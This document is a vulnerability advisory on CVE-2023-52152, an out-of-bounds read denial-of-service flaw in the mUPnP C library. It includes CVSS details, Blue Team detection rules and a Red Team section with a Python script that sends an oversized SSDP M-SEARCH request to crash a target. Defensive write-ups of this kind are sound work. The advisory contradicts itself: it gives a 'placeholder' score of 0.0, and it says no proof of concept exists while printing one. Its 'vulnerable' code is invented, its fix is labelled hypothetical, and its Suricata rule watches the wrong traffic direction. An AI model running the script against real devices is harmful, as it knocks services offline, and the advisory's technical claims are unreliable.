CVE-2023-52152

Executive Summary

CVE-2023-52152 is a denial-of-service (DoS) vulnerability in the mUPnP library for C, affecting versions up to and including 3.0.2. The flaw resides in the mupnp/net/uri.c file, where an out-of-bounds read occurs due to a missing host length recalculation. An attacker can send a specially crafted UPnP request, causing the application to crash. This vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as a high-severity DoS threat with a CVSS v3.1 base score of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the mUPnP library, which is a C-based implementation of the UPnP protocol. It is not an NPM, PyPI, Go, or Ruby package, but it is a critical component in many embedded systems and IoT devices. The lack of a patch and the library's widespread use in network-attached devices make it a significant supply chain risk. Organizations should inventory any products using mUPnP and apply mitigations until an official fix is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability is remotely exploitable without authentication, leading to a complete denial of service. The lack of a patch and the library's use in critical infrastructure elevates the risk.

Deep Dive & Mechanics

The vulnerability is in the mupnp/net/uri.c file. The function responsible for parsing URIs fails to recalculate the host length after certain operations. This leads to an out-of-bounds read when processing a malformed URI.

Root Cause: The code does not update the host_len variable after modifying the URI string (e.g., after removing a trailing slash or normalizing the path). When the host length is later used to copy or compare the host portion, it reads beyond the allocated buffer.

Attack Vector: An attacker sends a UPnP request with a crafted URI that triggers the miscalculation. For example, a URI with an unusually long hostname or special characters that cause the length to be incorrectly computed.

Impact: The out-of-bounds read causes a segmentation fault, crashing the application. This results in a denial of service for any service relying on the mUPnP library.

Vulnerable vs. Patched Code

Vulnerable Code (mupnp/net/uri.c, version <= 3.0.2):

// Vulnerable: host_len is not recalculated after URI manipulation
int parse_uri(const char *uri, char *host, int *port) {
    // ... parsing logic ...
    int host_len = calculate_host_len(uri);
    // ... some manipulation that changes the URI ...
    // host_len is still the old value
    memcpy(host, uri + offset, host_len); // Out-of-bounds read
}

Patched Code (Hypothetical fix):

// Patched: host_len is recalculated after URI manipulation
int parse_uri(const char *uri, char *host, int *port) {
    // ... parsing logic ...
    int host_len = calculate_host_len(uri);
    // ... some manipulation that changes the URI ...
    host_len = calculate_host_len(uri); // Recalculate
    memcpy(host, uri + offset, host_len); // Safe
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running a service using mUPnP library (e.g., a UPnP media server).
• Network access to the target.

Exploitation Steps:

1. Identify Target: Scan for UPnP services (port 1900 UDP or 5000 TCP).
2. Craft Payload: Create a UPnP request with a malformed URI. Example:

   M-SEARCH * HTTP/1.1
   HOST: 239.255.255.250:1900
   MAN: "ssdp:discover"
   MX: 1
   ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
   

   Modify the ST header to include a very long hostname or special characters.
3. Send Payload: Use a tool like netcat or a custom script to send the crafted request.
4. Observe Crash: The target service crashes, causing a denial of service.

Example Script (Python):

import socket

target_ip = "192.168.1.100"
target_port = 1900

payload = (
    "M-SEARCH * HTTP/1.1\r\n"
    "HOST: 239.255.255.250:1900\r\n"
    "MAN: \"ssdp:discover\"\r\n"
    "MX: 1\r\n"
    "ST: " + "A" * 1000 + "\r\n"  # Malformed URI
    "\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload.encode(), (target_ip, target_port))
sock.close()

Blue Team

Detection:

• Monitor for UPnP requests with unusually long or malformed URIs.
• Use network intrusion detection systems (NIDS) to flag anomalous UPnP traffic.

Mitigation:

• If possible, disable UPnP on devices.
• Use a firewall to restrict UPnP traffic to trusted networks.
• Apply vendor patches when available.

Hunting:

• Search logs for UPnP service crashes or segmentation faults.
• Look for repeated UPnP requests from the same source IP.

Indicators of Compromise (IOCs)

• Network:
  • UPnP requests with URIs longer than 1024 bytes.
  • UPnP requests containing non-printable characters in the URI.
  • Repeated UPnP M-SEARCH requests from a single source.
• System:
  • Application crash logs referencing mupnp/net/uri.c.
  • Segmentation faults in UPnP-related processes.
  • High CPU or memory usage in UPnP services before crash.

Detection Engineering

YARA Rule

rule CVE_2023_52152_mUPnP_DoS {
    meta:
        description = "Detects malformed UPnP requests targeting CVE-2023-52152"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-52152"
    strings:
        $uri_long = /ST: [A-Za-z0-9]{500,}/ nocase
        $uri_special = /ST: [^\x20-\x7E]{100,}/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-52152 - mUPnP Out-of-Bounds Read DoS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects UPnP requests with malformed URIs indicative of CVE-2023-52152 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_proto: 'upnp'
        uri|length: '>1024'
    condition: selection
falsepositives:
    - Legitimate UPnP requests with long URIs (rare)
level: high

Suricata Rule

alert udp $HOME_NET any -> $EXTERNAL_NET 1900 (msg:"CVE-2023-52152 mUPnP DoS Attempt"; content:"M-SEARCH"; nocase; content:"ST:"; nocase; pcre:"/ST:\s*[^\x20-\x7E]{100,}/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable UPnP on all devices if not required.
2. Segment Networks to limit UPnP traffic to trusted zones.
3. Monitor for anomalous UPnP traffic using the provided detection rules.

Long-term Fix:

• The vendor (mUPnP) has not released a patch. Monitor the official repository for updates.
• Consider replacing mUPnP with an alternative UPnP library that is actively maintained.
• If source code is available, apply the hypothetical fix by recalculating host_len after URI manipulation.

Workaround:

• Use a web application firewall (WAF) or intrusion prevention system (IPS) to filter malformed UPnP requests.

Valters IT
Securing Digital Frontiers